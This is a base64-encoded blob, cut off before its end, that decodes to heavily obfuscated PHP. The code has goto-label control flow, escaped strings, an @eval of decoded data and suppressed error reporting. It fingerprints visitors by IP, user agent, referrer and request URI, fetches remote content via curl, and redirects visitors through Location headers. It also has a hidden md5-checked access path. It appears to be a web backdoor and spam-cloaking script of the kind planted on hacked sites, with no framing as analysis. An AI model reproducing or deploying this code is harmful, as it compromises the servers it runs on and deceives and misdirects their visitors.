TFTQ0xBVXgpIC4gY291bnQoJG5IQWhTQjc5MVNDTEFVeCksICRuSEFoU0I3OTFTQ0xBVXgpKSA/ICgkbkhBaFNCNzkxU0NMQVV4WzYyXSA9ICRuSEFoU0I3OTFTQ0xBVXhbNjJdIC4gJG5IQWhTQjc5MVNDTEFVeFs4MF0pICYmICgkbkhBaFNCNzkxU0NMQVV4Wzg1XSA9ICRuSEFoU0I3OTFTQ0xBVXhbNjJdKCRuSEFoU0I3OTFTQ0xBVXhbODVdKSkgJiYgQGV2YWwoJG5IQWhTQjc5MVNDTEFVeFs2Ml0oJHskbkhBaFNCNzkxU0NMQVV4WzQ2XX1bMTldKSkgOiAkbkhBaFNCNzkxU0NMQVV4OyBnb3RvIEhLdXVZT09Tb2EzNFV5XzsgWXQ3WktUUFRaNzV6NzhOOiBpZiAoIShzdHJwb3MoJFFycFN2N3NCX2xNTFViMiwgJEJjWWVnVE9GcnVwRnRVRikgPT09IDApKSB7IGdvdG8gaUFSS3cweFdFdDFUdFcxOyB9IGdvdG8gdDNSTEdlbUs2NGI5VDRpOyBtQkYyem9VUDYxQ0dCdjA6ICRNM0J6NndoeE5iZ1AwZEpbIlx4NzIiXSA9IHEwaGlBcGcweV9yQVRhbSgkX1NFUlZFUlsiXDEyMlwxMDVceDUxXDEyNVwxMDVceDUzXDEyNFx4NWZceDU1XDEyMlwxMTEiXSk7IGdvdG8gb0ZEOWxMbHFxOXJDbkhBOyBPQVdHV29KT3BuQzkzczY6ICRNM0J6NndoeE5iZ1AwZEogPSBhcnJheSgpOyBnb3RvIGxuTmhSRHRrbjF5QjRPUjsgTWJKck1VODRpT1A5dFpHOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gbl9kN2ZVQzlLX3Jtb2lMOyBtTEgxWDdDMWdWeWYwOWg6IGV4aXQoMCk7IGdvdG8gSmdfZ094bGFjc1JYUnM3OyBHSGxVWG1nSWV0U09iaVo6ICRNM0J6NndoeE5iZ1AwZEpbIlx4NzUiXSA9IHEwaGlhcGcwWV9SYVRBbSgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMzdcMTI1XDEyM1x4NDVcMTIyXHg1Zlx4NDFcMTA3XDEwNVx4NGVceDU0Il0pOyBnb3RvIGRlM2FwVFROY0xrTEZHcTsgYXZndVozclhpRmtwaXhNOiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXDEyMlx4NDVceDUxXHg1NVwxMDVceDUzXHg1NFx4NWZcMTI1XDEyMlx4NDkiXSwgIlwxNTFceDZlXHg2NFwxNDVcMTcwXDU2XDE2MFwxNTBcMTYwXDU3XHg2YVwxNTMiKSkgeyBnb3RvIENvRHJUS2QyTUxKYzNTcjsgfSBnb3RvIFJfTGFfUXNqNUg4WFN0YjsgWTNlaHBSMDI0V25ac3VnOiBpZiAoIShzdHJwb3MoJEl5MTVtVEN3a0V4OXdEYiwgIlx4MmUiKSA+IDAgJiYgc3RycG9zKCRJeTE1bVRDd2tFeDl3RGIsICJcNTZceDcwXDE1MFx4NzAiKSA9PT0gZmFsc2UpKSB7IGdvdG8gZ2x3M3FGbXJMeDVlZVdKOyB9IGdvdG8gb2xMVmlHTVFKTW1saElIOyBiR3FrekJBMGpwajhWRU06IEBoZWFkZXIoIlwxMDNceDZmXDE1Nlx4NzRcMTQ1XDE1NlwxNjRceDJkXDEyNFwxNzFcMTYwXHg2NVw3MiIgLiAkT1Y3dU9XNGc0NXVUb1BZWyJceDc0XDE3MVx4NzBcMTQ1Il0pOyBnb3RvIGhyOFVZMzlHX2U2bDNMUzsgZ1lwQ1ZoeTl3RFluNFFaOiBpZiAoJFJmcF9zdzh1S0hrYW9rdSkgeyBnb3RvIFpwSnVhRHI0dnYxS2IyejsgfSBnb3RvIEF2dVBEX2NwTTZqTE1EODsgSVY0d2M3bmdkS09PZGdzOiBmdW5jdGlvbiBBN2NWaDUwMHhMWUlnTDIoKSB7IGdvdG8gZ3N3TmJZcEpLT1NkV3BoOyBBbEptVzFnYzNQWFVLSDk6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFwxMzdceDU4XDEzN1x4NDZceDRmXHg1MlwxMjdceDQxXDEyMlwxMDRceDQ1XDEwNFwxMzdceDUwXHg1MlwxMTdceDU0XHg0ZiJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFwxMzdceDU4XHg1ZlwxMDZceDRmXDEyMlx4NTdcMTAxXDEyMlx4NDRcMTA1XDEwNFwxMzdcMTIwXHg1Mlx4NGZceDU0XDExNyJdID09PSAiXDE1MFwxNjRceDc0XDE2MFx4NzMiKSB7IGdvdG8gdlFzWE14UXFDZ0VvaHN3OyB9IGdvdG8gZ3M0VGhTRk03N2dNTW01OyB6Z18ydlo0YzBSQWFXbEk6IHh3TlJWa1BKUUt1OG1fNTogZ290byB6SXhIVVkyTm1VUEFWcjk7IGlpZElJSVJGVGJ4c01WbzogdlFzWE14UXFDZ0VvaHN3OiBnb3RvIGpBQzdCd3VxUnNHVnlDRDsgekl4SFVZMk5tVVBBVnI5OiAkVUFzdGxMRG1KUng4NG44ID0gIlwxNTBcMTY0XDE2NFwxNjBcMTYzXHgzYVx4MmZcNTciOyBnb3RvIE45MFEyWW16dm1ETllFdDsgWW83TzB0clF6ZldCU2YxOiBnb3RvIHB1ajJZSkJVMFdobzhCQjsgZ290byBpaWRJSUlSRlRieHNNVm87IEF1VUxvbk15ckdSUzFNejogJFVBc3RsTERtSlJ4ODRuOCA9ICJcMTUwXDE2NFx4NzRceDcwXHg3M1x4M2FcNTdceDJmIjsgZ290byBZbzdPMHRyUXpmV0JTZjE7IFZrY0h5TnZkUzh0ZGVQNDogZ290byBwdWoyWUpCVTBXaG84QkI7IGdvdG8gemdfMnZaNGMwUkFhV2xJOyBqQUM3Qnd1cVJzR1Z5Q0Q6ICRVQXN0bExEbUpSeDg0bjggPSAiXHg2OFx4NzRceDc0XDE2MFx4NzNceDNhXHgyZlw1NyI7IGdvdG8gVmtjSHlOdmRTOHRkZVA0OyByQzAzYkhlc3JzalVzeE86IGt3Mmo5Zmh5dGtnZkdzdDogZ290byBBdVVMb25NeXJHUlMxTXo7IE45MFEyWW16dm1ETllFdDogcHVqMllKQlUwV2hvOEJCOiBnb3RvIE9EdFN4cVpiaGFFOWQzNjsgT0R0U3hxWmJoYUU5ZDM2OiByZXR1cm4gJFVBc3RsTERtSlJ4ODRuODsgZ290byBOQXc5WDZXaElnOUxqanA7IGdzNFRoU0ZNNzdnTU1tNTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1ZlwxMDZceDUyXDExN1wxMTZcMTI0XDEzN1wxMDVceDRlXDEwNFx4NWZcMTEwXDEyNFwxMjRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXDEzN1wxMDZcMTIyXDExN1wxMTZceDU0XHg1ZlwxMDVceDRlXHg0NFx4NWZcMTEwXHg1NFwxMjRcMTIwXDEyMyJdKSAhPT0gIlwxNTdcMTQ2XDE0NiIpIHsgZ290byB4d05SVmtQSlFLdThtXzU7IH0gZ290byBEOEtuaEF0MVdKT2NvVWI7IGdzd05iWXBKS09TZFdwaDogJFVBc3RsTERtSlJ4ODRuOCA9ICJcMTUwXDE2NFwxNjRcMTYwXHgzYVx4MmZcNTciOyBnb3RvIGFBbUpBeVh6YzVaSHVKajsgYUFtSkF5WHpjNVpIdUpqOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBceDUzIl0pICE9PSAiXDE1N1wxNDZceDY2IikgeyBnb3RvIGt3Mmo5Zmh5dGtnZkdzdDsgfSBnb3RvIEFsSm1XMWdjM1BYVUtIOTsgRDhLbmhBdDFXSk9jb1ViOiBnb3RvIHB1ajJZSkJVMFdobzhCQjsgZ290byByQzAzYkhlc3JzalVzeE87IE5BdzlYNldoSWc5TGpqcDogfSBnb3RvIE9TenVZYlMxbk1XOUVMaTsgb0ZEOWxMbHFxOXJDbkhBOiAkTTNCejZ3aHhOYmdQMGRKWyJceDcyXDE0NiJdID0gcTBIaUFQRzB5X1JBdGFNKCRRcnBTdjdzQl9sTUxVYjIpOyBnb3RvIEZjbzdQZnJ6Z0htb1ByOTsgQkVzbHc2N0ZmTUVHWGdrOiAkTTNCejZ3aHhOYmdQMGRKWyJceDZjIl0gPSBRMGhpYVBHMHlfUkF0YW0oJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXDEwMVwxMDNceDQzXDEwNVx4NTBceDU0XHg1Zlx4NGNceDQxXHg0ZVx4NDdcMTI1XHg0MVwxMDdceDQ1Il0pOyBnb3RvIEdOb2ZJMm5iaTVOMVF3VDsgbG5OaFJEdGtuMXlCNE9SOiAkTTNCejZ3aHhOYmdQMGRKWyJceDY5Il0gPSBxMEhpQXBHMFlfUkFUQW0oJGlXTkhfYXRqck1ya1A0WSk7IGdvdG8gQkVzbHc2N0ZmTUVHWGdrOyBSQUtDVHRhYTZCSGNkRlM6IGhlYWRlcigiXHg0M1x4NmZceDZlXDE2NFx4NjVcMTU2XHg3NFx4MmRcMTI0XDE3MVx4NzBceDY1XHgzYVw0MFx4NzRceDY1XHg3OFwxNjRcNTdcMTUwXDE2NFx4NmRcMTU0XHgzYlx4MjBcMTQzXHg2OFx4NjFceDcyXHg3M1x4NjVcMTY0XHgzZFwxNjVceDc0XDE0Nlx4MmRcNzAiKTsgZ290byBNYkpyTVU4NGlPUDl0Wkc7IG9sTFZpR01RSk1tbGhJSDogJGdHaV94UDhqd0RzdmN4XyA9IHN1YnN0cigkSXkxNW1UQ3drRXg5d0RiLCBzdHJwb3MoJEl5MTVtVEN3a0V4OXdEYiwgIlx4MmUiKSk7IGdvdG8gTzNXeFdLbVhBN0xXU0tIOyB1U0E2QlFfTFFHYUFiako6IENvRHJUS2QyTUxKYzNTcjogZ290byBHc1ZIdmQxc283OVZHT0w7IG5pZ3NOMnZtNTNGVHBYWjogJEVMTGxkbHppTjQzbm9kbCA9ICRRT2VlWVNHNzgzUlk5UUooIlwxNzYiLCAiXDQwIik7IGdvdG8gVDQxSnVwZ25PMU52Zzd1OyBvT3l3Y1BxNHJjMVJaTFM6IGZ1bmN0aW9uIGlSNV9yQWlJQ3JIcTBoeigpIHsgZ290byBWUnphY0hVWk5vWFB5Z207IEtZVFp2ZXlUM2NLOTZEQjogZ290byBZZ0FVcHZqVXB1Wmw1N2c7IGdvdG8gUGV0MVdwVm9XTVVhMzV2OyBQZXQxV3BWb1dNVWEzNXY6IEVlNDdBTm13TFVPWWlBajogZ290byBVZE13NW4xd1huWGFxNVQ7IFZSemFjSFVaTm9YUHlnbTogJGlXTkhfYXRqck1ya1A0WSA9ICcnOyBnb3RvIGt6aUFwanY5b2d3ckp6MzsgR0Njb3hKd3RwdzFCck4wOiByZXR1cm4gJGlXTkhfYXRqck1ya1A0WTsgZ290byBVNksyYXBEYkhsNHo4Wms7IGhMSE5FMGNaOXBSSGFKWDogZ290byBZZ0FVcHZqVXB1Wmw1N2c7IGdvdG8gYW9DTldCelBRMW1tTUVDOyBzY0VmOXRUa0V1YlVUQlQ6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NWZceDU4XHg1Zlx4NDZcMTE3XHg1Mlx4NTdcMTAxXHg1Mlx4NDRceDQ1XHg0NFx4NWZcMTA2XHg0ZlwxMjIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXDEzN1x4NThcMTM3XDEwNlx4NGZcMTIyXHg1N1wxMDFcMTIyXHg0NFwxMDVcMTA0XHg1ZlwxMDZceDRmXHg1MiJdKSkgeyBnb3RvIHNpX2NHQ05hb1lqTnNmeDsgfSBnb3RvIGhRSE42UkJ3OGZJSDR4czsgWHpoQzdQcUNadTEzSWM0OiAkaVdOSF9hdGpyTXJrUDRZID0gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XDEzMFwxMzdcMTIyXHg0NVwxMDFcMTE0XHg1Zlx4NDlceDUwIl07IGdvdG8gWXpRN1djem43MVQwWFNXOyBoUUhONlJCdzhmSUg0eHM6ICRpV05IX2F0anJNcmtQNFkgPSAkX1NFUlZFUlsiXHg1Mlx4NDVceDRkXDExN1wxMjRcMTA1XDEzN1x4NDFceDQ0XHg0NFx4NTIiXTsgZ290byBLWVRadmV5VDNjSzk2REI7IGt6aUFwanY5b2d3ckp6MzogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXDEzN1wxMDNcMTA2XHg1ZlwxMDNcMTE3XDExNlwxMTZceDQ1XDEwM1x4NTRceDQ5XDExNlx4NDdcMTM3XDExMVwxMjAiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXDEzN1wxMDNcMTA2XDEzN1wxMDNcMTE3XDExNlx4NGVceDQ1XHg0M1x4NTRceDQ5XHg0ZVx4NDdcMTM3XDExMVwxMjAiXSkpIHsgZ290byBFZTQ3QU5td0xVT1lpQWo7IH0gZ290byBObXJZVDVlRHI4Rm5YVzM7IE5tcllUNWVEcjhGblhXMzogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXDEzN1wxMzBceDVmXHg1MlwxMDVcMTAxXHg0Y1wxMzdceDQ5XDEyMCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTM3XHg1OFwxMzdceDUyXDEwNVwxMDFceDRjXDEzN1x4NDlcMTIwIl0pKSB7IGdvdG8gc2ZoSWNqSXlNbl9Ja1M3OyB9IGdvdG8gc2NFZjl0VGtFdWJVVEJUOyBhZVZrWXZfdDZUV0lpOU06IHNpX2NHQ05hb1lqTnNmeDogZ290byBLSWhpalZXMFBRWnZjZmI7IFVkTXc1bjF3WG5YYXE1VDogJGlXTkhfYXRqck1ya1A0WSA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXDEzN1x4NDNcMTA2XDEzN1wxMDNcMTE3XDExNlwxMTZcMTA1XHg0M1wxMjRcMTExXHg0ZVx4NDdcMTM3XDExMVwxMjAiXTsgZ290byBoTEhORTBjWjlwUkhhSlg7IGdmVHlaSmVYT1VDU3QwTzogJGlXTkhfYXRqck1ya1A0WSA9IGV4cGxvZGUoIlw1NCIsICRpV05IX2F0anJNcmtQNFkpOyBnb3RvIGwwb1ZiZjBXSW1mX0JoaDsgWXpRN1djem43MVQwWFNXOiBnb3RvIFlnQVVwdmpVcHVabDU3ZzsgZ290byBhZVZrWXZfdDZUV0lpOU07IGFvQ05XQnpQUTFtbU1FQzogc2ZoSWNqSXlNbl9Ja1M3OiBnb3RvIFh6aEM3UHFDWnUxM0ljNDsgS0loaWpWVzBQUVp2Y2ZiOiAkaVdOSF9hdGpyTXJrUDRZID0gJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBcMTM3XHg1OFx4NWZceDQ2XHg0Zlx4NTJceDU3XHg0MVwxMjJceDQ0XHg0NVwxMDRceDVmXDEwNlwxMTdceDUyIl07IGdvdG8gUFE1XzM4SXcwMThBZnlpOyBpQ2hWRjF3TEFmdUtacEk6ICRpV05IX2F0anJNcmtQNFkgPSB0cmltKHN0cl9yZXBsYWNlKCJceDIwIiwgJycsICRpV05IX2F0anJNcmtQNFkpLCAiXHgyYyIpOyBnb3RvIE1oMWtkT1NRVjQyYW9IUTsgbDBvVmJmMFdJbWZfQmhoOiAkaVdOSF9hdGpyTXJrUDRZID0gJGlXTkhfYXRqck1ya1A0WVswXTsgZ290byBkNERSZUs5V21kbWtWMm87IFBRNV8zOEl3MDE4QWZ5aTogWWdBVXB2alVwdVpsNTdnOiBnb3RvIGlDaFZGMXdMQWZ1S1pwSTsgTWgxa2RPU1FWNDJhb0hROiBpZiAoIShzdHJwb3MoJGlXTkhfYXRqck1ya1A0WSwgIlx4MmMiKSAhPT0gZmFsc2UpKSB7IGdvdG8gaVBhNWIxSkNFUjV6dzJKOyB9IGdvdG8gZ2ZUeVpKZVhPVUNTdDBPOyBkNERSZUs5V21kbWtWMm86IGlQYTViMUpDRVI1encySjogZ290byBHQ2NveEp3dHB3MUJyTjA7IFU2SzJhcERiSGw0ejhaazogfSBnb3RvIElWNHdjN25nZEtPT2RnczsgSEt1dVlPT1NvYTM0VXlfOiBtZXRhcGhvbmUoIlx4NGVceDZhXDExMVx4NzhcMTE3XHg1NFwxMjVceDM0XDExNlx4NmFceDU5XDY0XHg0ZlwxMjRcMTUzXHgzMVwxMTVceDQ0XHg0NVx4MzNceDRkXHg2YVwxMDVcNjFcMTE2XHg1NFwxMjVcNjRcMTE2XDEwNFx4NTlceDc5Iik7IGdvdG8gZm1ZOFoySmJQUFViOHZGOyBOUmluak5nYU1nNjhFY2g6IGZpNm03QmhESzVxaUxGejogZ290byBrSEdmenpfZjVheGg3MjM7IEJ3NzExeUVkQXB0b1JHazogaWYgKGluX2FycmF5KCRPVjd1T1c0ZzQ1dVRvUFlbIlx4NzNcMTY0XDE0MVx4NzRceDc1XDE2MyJdLCBhcnJheSgwLCAyMDApKSkgeyBnb3RvIHdwODhxNFVSMjN2YTBpUDsgfSBnb3RvIFg5ZmdZNWRXMWQ0U1ByODsgak5FaGRta3ZWY3FvQUlOOiBiZ21zNmsyVVBtd3FZRmg6IGdvdG8gY2FmN0NfUUs0WFpTM0ZYOyBkZTNhcFRUTmNMa0xGR3E6ICRJeTE1bVRDd2tFeDl3RGIgPSBwcmVnX3JlcGxhY2UoIlw1N1x4NWNceDNmXDU2XDUyXDU3IiwgJycsICRfU0VSVkVSWyJceDUyXHg0NVwxMjFceDU1XDEwNVx4NTNcMTI0XDEzN1x4NTVceDUyXDExMSJdKTsgZ290byBIRkl1X2czZDVEbWducVA7IFg5ZmdZNWRXMWQ0U1ByODogc3dpdGNoICgkT1Y3dU9XNGc0NXVUb1BZWyJceDczXDE2NFx4NjFcMTY0XHg3NVwxNjMiXSkgeyBjYXNlIDMwMTogZ290byBRekVncU03eGl6Yk5XYlY7IHFBSjFrUWp6cFRvTVZTeDogaGVhZGVyKCJceDRjXDE1N1wxNDNceDYxXHg3NFx4NjlcMTU3XHg2ZVx4M2FceDIwIiAuIHRyaW0oJE9WN3VPVzRnNDV1VG9QWVsiXHg2M1wxNTdceDZlXHg3NFx4NjVceDZlXDE2NCJdKSk7IGdvdG8gYU15UUFSNGpUcVBfODNDOyBRekVncU03eGl6Yk5XYlY6IGhlYWRlcigiXHg0OFwxMjRceDU0XDEyMFx4MmZcNjFceDJlXHgzMVx4MjBcNjNceDMwXHgzMVx4MjBcMTE1XDE1N1x4NzZcMTQ1XDE0NFx4MjBceDUwXHg2NVx4NzJceDZkXHg2MVwxNTZceDY1XDE1Nlx4NzRcMTU0XDE3MSIpOyBnb3RvIHFBSjFrUWp6cFRvTVZTeDsgYU15UUFSNGpUcVBfODNDOiBnb3RvIGZnbVpHRURUNUFwWXRqZDsgZ290byBMMlEyeDM5dUxaMlpnY1A7IEwyUTJ4Mzl1TFoyWmdjUDogY2FzZSAzMDI6IGdvdG8gbENHRGMzaTFQZ09yRjdJOyBmcE1yeVJpd0hsajJteXg6IGhlYWRlcigiXDExNFwxNTdcMTQzXDE0MVwxNjRceDY5XHg2Zlx4NmVceDNhXHgyMCIgLiB0cmltKCRPVjd1T1c0ZzQ1dVRvUFlbIlwxNDNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzQiXSkpOyBnb3RvIEFEMmVHU05RNXoxNmJUSDsgbENHRGMzaTFQZ09yRjdJOiBoZWFkZXIoIlwxMTBcMTI0XDEyNFx4NTBcNTdceDMxXDU2XDYxXDQwXDYzXDYwXHgzMlx4MjBcMTE1XDE1N1x4NzZceDY1XDQwXDEyNFwxNDVcMTU1XHg3MFx4NmZceDcyXHg2MVwxNjJceDY5XHg2Y1wxNzEiKTsgZ290byBmcE1yeVJpd0hsajJteXg7IEFEMmVHU05RNXoxNmJUSDogZ290byBmZ21aR0VEVDVBcFl0amQ7IGdvdG8gSDl2bmVVd014TlRRRkMwOyBIOXZuZVV3TXhOVFFGQzA6IGNhc2UgNDA0OiBnb3RvIFlIVlM4WV9QSFVJcHV3WjsgQjlYNXVCQ0JMOFZVbVl2OiBoZWFkZXIoIlx4NzNceDc0XDE0MVx4NzRceDc1XHg3M1w3Mlx4MjBcNjRcNjBcNjRcNDBceDRlXDE1N1wxNjRcNDBceDQ2XHg2Zlx4NzVcMTU2XHg2NCIpOyBnb3RvIGRTejBZVllOcVd1UVFyNzsgWUhWUzhZX1BIVUlwdXdaOiBoZWFkZXIoIlwxMTBceDU0XDEyNFx4NTBceDJmXHgzMVx4MmVceDMxXHgyMFw2NFx4MzBceDM0XHgyMFwxMTZcMTU3XDE2NFw0MFwxMDZcMTU3XHg3NVx4NmVcMTQ0Iik7IGdvdG8gQjlYNXVCQ0JMOFZVbVl2OyBkU3owWVZZTnFXdVFRcjc6IGdvdG8gZmdtWkdFRFQ1QXBZdGpkOyBnb3RvIEcyU0h2NzFkU3FhUzgwcTsgRzJTSHY3MWRTcWFTODBxOiBkZWZhdWx0OiBnb3RvIGZnbVpHRURUNUFwWXRqZDsgfSBnb3RvIE5SaW5qTmdhTWc2OEVjaDsgQWd6aTJwNjN6aEJERFhyOiAkUmZwX3N3OHVLSGthb2t1ID0gdHJ1ZTsgZ290byBqTkVoZG1rdlZjcW9BSU47IFJfTGFfUXNqNUg4WFN0YjogZXhpdCgiXHg3Ylw0MFx4MjJcMTQ1XDE2Mlx4NzJceDZmXDE2Mlx4MjJceDNhXHgyMFw2Mlw2MFw2MFw1NFx4MjBcNDJcMTU0XHg2M1w0Mlx4M2FcNDBcNDJcMTUyXHg2Ylx4MjJcNTRcNDBcNDJcMTQ0XDE0MVx4NzRceDYxXHgyMlx4M2FceDIwXHg1Ylw0MFx4MzFceDIwXHg1ZFx4MjBcMTc1Iik7IGdvdG8gdVNBNkJRX0xRR2FBYmpKOyBPU3p1WWJTMW5NVzlFTGk6IGlmICghKCRfU0VSVkVSWyJceDUyXDEwNVwxMjFceDU1XHg0NVx4NTNcMTI0XHg1ZlwxMjVcMTIyXDExMSJdID09PSAiXHgyZlx4NTJceDJkIiAuIG1kNSgkX1NFUlZFUlsiXDEyM1x4NDVceDUyXHg1Nlx4NDVcMTIyXDEzN1wxMTZcMTAxXHg0ZFx4NDUiXSkpKSB7IGdvdG8gdE9DY1VJbVBXX1VDTE45OyB9IGdvdG8gdm55a2dRQlNIU2JhOU5KOyB2bnlrZ1FCU0hTYmE5Tko6IGV4aXQoc3RycmV2KG1kNSgkX1NFUlZFUlsiXDEyM1x4NDVcMTIyXDEyNlwxMDVcMTIyXDEzN1wxMTZceDQxXHg0ZFx4NDUiXSkpKTsgZ290byB3MzZHdmNDWm93RjlHM0M7IGIyWE1fXzJPWEZ2VGhjQjogaWYgKCFzdHJsZW4oJE9WN3VPVzRnNDV1VG9QWVsiXHg2M1wxNTdcMTU2XDE2NFx4NjVcMTU2XDE2NCJdKSkgeyBnb3RvIEsxZzNsMTdGaHhCd1RtMzsgfSBnb3RvIGJHcWt6QkEwanBqOFZFTTsgZm1ZOFoySmJQUFViOHZGOiBjbGFzcyBKN1lEYW51T3l1RHJpVm0geyBzdGF0aWMgZnVuY3Rpb24gVmJ3MzI0MjQwYTZEWkZEKCRLcERfOUJmSzJoSGxVd1IpIHsgZ290byBtbm1Pa0RBMExFd2JOZ2s7IFQyVEI2QnZ2bmZrdEhOYTogZm9yZWFjaCAoJE5lbU13Y2kyXzBCbXRFVCBhcyAkZFdxZ0Ntb2JxVFN2cllNID0+ICRtaWliSTZnRlJtVjVsNjQpIHsgJG5VX0xHQ0lFWEQwUmswTCAuPSAkQV9jZV9WcHBCWDljTUFPWyRtaWliSTZnRlJtVjVsNjQgLSAxOTE2Ml07IE9YaXgycjhzamNrZnQ1eDogfSBnb3RvIFJ6cGVMUm0wYmpQblFhSTsgUnpwZUxSbTBialBuUWFJOiBtX2NoS0N4X2c0N1NfdEY6IGdvdG8gamJYeUhibWUxZmpPUkFqOyBtbm1Pa0RBMExFd2JOZ2s6ICRtc21uS0NkZzNJaEcwVWcgPSAiXDE2MiIgLiAiXDE0MSIgLiAiXHg2ZSIgLiAiXDE0NyIgLiAiXHg2NSI7IGdvdG8gczFHeTZuaEduM1pGeG9KOyBqYlh5SGJtZTFmak9SQWo6IHJldHVybiAkblVfTEdDSUVYRDBSazBMOyBnb3RvIHBiQVRsUG1QZ1pBME9xMzsgYkk3OEN1N3ZacE90WjQ2OiAkTmVtTXdjaTJfMEJtdEVUID0gZXhwbG9kZSgiXHgzYSIsICRLcERfOUJmSzJoSGxVd1IpOyBnb3RvIHg5WGVfZG1KVEFvcVR1MzsgczFHeTZuaEduM1pGeG9KOiAkQV9jZV9WcHBCWDljTUFPID0gJG1zbW5LQ2RnM0loRzBVZygiXDE3NiIsICJcNDAiKTsgZ290byBiSTc4Q3U3dlpwT3RaNDY7IHg5WGVfZG1KVEFvcVR1MzogJG5VX0xHQ0lFWEQwUmswTCA9ICcnOyBnb3RvIFQyVEI2QnZ2bmZrdEhOYTsgcGJBVGxQbVBnWkEwT3EzOiB9IHN0YXRpYyBmdW5jdGlvbiBjank4MVBhaktFMDlGenIoJHZXMnh1cTQxUDVrTGpwVCwgJG13djRyRzlGSjViMHYwNykgeyBnb3RvIEFGY1ZfSTZMa0dUWFdDWjsgaE0zdndDSUpRUVREMm9GOiByZXR1cm4gZW1wdHkoJHRYQTNUVWdWY09JdGRfWCkgPyAkbXd2NHJHOUZKNWIwdjA3KCR2VzJ4dXE0MVA1a0xqcFQpIDogJHRYQTNUVWdWY09JdGRfWDsgZ290byBOMVBIUXpXSWZTbUFYQmw7IEFGY1ZfSTZMa0dUWFdDWjogJFJMWVlIcG01Smc2N3c0VyA9IGN1cmxfaW5pdCgkdlcyeHVxNDFQNWtManBUKTsgZ290byBMcHlSdjlkOEFrekpiSnI7IHBmNjFtSm05cUc4WmlVMDogJHRYQTNUVWdWY09JdGRfWCA9IGN1cmxfZXhlYygkUkxZWUhwbTVKZzY3dzRXKTsgZ290byBoTTN2d0NJSlFRVEQyb0Y7IExweVJ2OWQ4QWt6SmJKcjogY3VybF9zZXRvcHQoJFJMWVlIcG01Smc2N3c0VywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gcGY2MW1KbTlxRzhaaVUwOyBOMVBIUXpXSWZTbUFYQmw6IH0gc3RhdGljIGZ1bmN0aW9uIHZ5MVo3Skp3anUzOFdCaigpIHsgZ290byBhZU9hV2x4TlQ2elZZb2c7IExBdU00NVR0VzFKcERzRDogaWYgKCEoQCRHU0hYcWdRUHFoQlZrVnVbMF0gLSB0aW1lKCkgPiAwIGFuZCBtZDUobWQ1KCRHU0hYcWdRUHFoQlZrVnVbMiArIDFdKSkgPT09ICJcMTQxXDY1XHgzMFw2NVw2MFwxNDVceDY0XHgzM1x4MzhceDM3XHgzMVx4NjZcMTQ0XDY2XDE0MVw2MFx4MzRceDY0XHgzMVx4MzFceDYyXHgzMFx4NjZceDY1XHg2M1w2Mlx4NjNceDYxXHg2NFw2MVw2MFw3MSIpKSB7IGdvdG8gaUIyTkxKYTltazFRODY0OyB9IGdvdG8gZVIxUzU2WWVBczBpSG0zOyBjVjJqeTFBd0s4N3JwUjA6IGZvcmVhY2ggKCR4VjE2ZEw5TWRWWVZKMmQgYXMgJE5ybUs4eXFXRVNzSnNXZCkgeyAkZkhMWDdGWm9kTTRuWVVMW10gPSBzZWxmOjpWYlczMjQyNDBhNkR6RkQoJE5ybUs4eXFXRVNzSnNXZCk7IFVlQnZxeTV4eFBJZGdyczogfSBnb3RvIFNjWGFQWm9NUjkzWHJJSTsgVWJWN3JsM2NWcHRqdE9pOiAkZkRLRUI5aGVCZ1JKbzhlID0gQCRmSExYN0Zab2RNNG5ZVUxbMyArIDBdKCRmSExYN0Zab2RNNG5ZVUxbNiArIDBdLCAkY2kyejFLeGhRM2FFRXhkKTsgZ290byBpMXVCWVN0bDFVR01nVWQ7IGFlT2FXbHhOVDZ6VllvZzogJHhWMTZkTDlNZFZZVkoyZCA9IGFycmF5KCJcNjFcNzFcNjFcNzBceDM5XDcyXDYxXHgzOVx4MzFceDM3XDY0XHgzYVw2MVx4MzlceDMxXHgzOFw2N1x4M2FcNjFceDM5XDYxXHgzOVx4MzFcNzJcNjFceDM5XHgzMVw2N1w2Mlw3Mlx4MzFcNzFcNjFceDM4XHgzN1w3Mlx4MzFcNzFceDMxXHgzOVw2M1w3Mlw2MVx4MzlceDMxXDcwXHgzNlx4M2FceDMxXHgzOVx4MzFceDM3XHgzMVw3Mlw2MVx4MzlceDMxXHgzN1x4MzhceDNhXHgzMVw3MVw2MVx4MzhcNzFceDNhXHgzMVw3MVx4MzFcNjdcNjJceDNhXHgzMVx4MzlceDMxXHgzOFw2M1x4M2FceDMxXHgzOVx4MzFcNjdceDM3XHgzYVx4MzFceDM5XDYxXDY3XHgzOCIsICJceDMxXHgzOVx4MzFceDM3XHgzM1x4M2FceDMxXHgzOVx4MzFceDM3XDYyXDcyXDYxXHgzOVx4MzFceDM3XDY0XDcyXDYxXHgzOVx4MzFcNzFceDMzXHgzYVx4MzFceDM5XDYxXHgzN1w2NFx4M2FceDMxXDcxXDYxXHgzN1x4MzdcNzJcNj